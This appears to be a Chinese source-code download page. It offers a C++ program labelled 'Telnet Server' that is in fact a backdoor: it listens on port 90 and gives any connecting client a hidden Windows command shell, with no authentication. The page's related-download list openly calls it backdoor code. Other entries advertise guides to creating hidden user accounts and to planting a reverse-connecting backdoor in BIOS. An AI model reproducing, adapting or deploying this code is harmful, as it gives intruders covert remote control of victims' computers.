////////////////////////////////////////////////////////////////////////////////
//
// Telnet Server.
//
// File : Tini2.cpp
/////////VC 6.0编译通过///////////////////////////////////
#include
#include
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
#define PORT 90
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
{
ReadFile(hReadFile,
send_buff,
25000,
&len,
NULL);
send(ClientSocket,
send_buff,
len,
0);
}
return 0;
}
void main()
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
do{
Sleep(250);
}while((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n");
return;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}
分享到:
相关推荐
telnet后门实现代码,想学习的兄弟赶快下了
Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码Telnet 源代码...
telnet客户端的源代码 VC6.0可以编译,有telnet协议的完整实现。
telnet 程序源代码,初学者适用。大家要收藏哦。
一个比较好的telnet 客户端源码, 非常适合学习用哦。自己测试过能用。
很好的 telnet后台程序,方便程序员开发,封装层次清晰
C++版.Telnet服务器源代码.rar
用C写的TELNET, SSH源代码, 并涉及WINDOWS窗体的构建等全部过程 -- 全程代码!
VC编写的telnet客户端源代码(基于CEditView) socket使用MFC库。
本word教你建立telnet后门和建立超级隐藏用户。
如果须要telnte客户端源代码就使用上面那个“telnte客户端C++源代码”把。是我写的,在Linux 下调试过了。可以用。
之前传了一个压缩包,居然有密码,而且我自己都解不开,重新传一个,就不收分了
商业编程-源码-Telnet服务器源代码.zip
telnet、 源代码 好东西 大家来看看
一个很好用的telnet程式,供大家参考。希望对大家有用.
telnet源代码肥水不外流telnet源代码肥水不外流telnet源代码肥水不外流
telnet.rar telnet 协议 客户端 源代码 java
Telnet终端源程序 Telnet终端源程序 Telnet终端源程序
delphi telnet 工具及源代码 简单实用工具 及简单代码
该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门 在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连 接到指定的计算机接受CMD控制。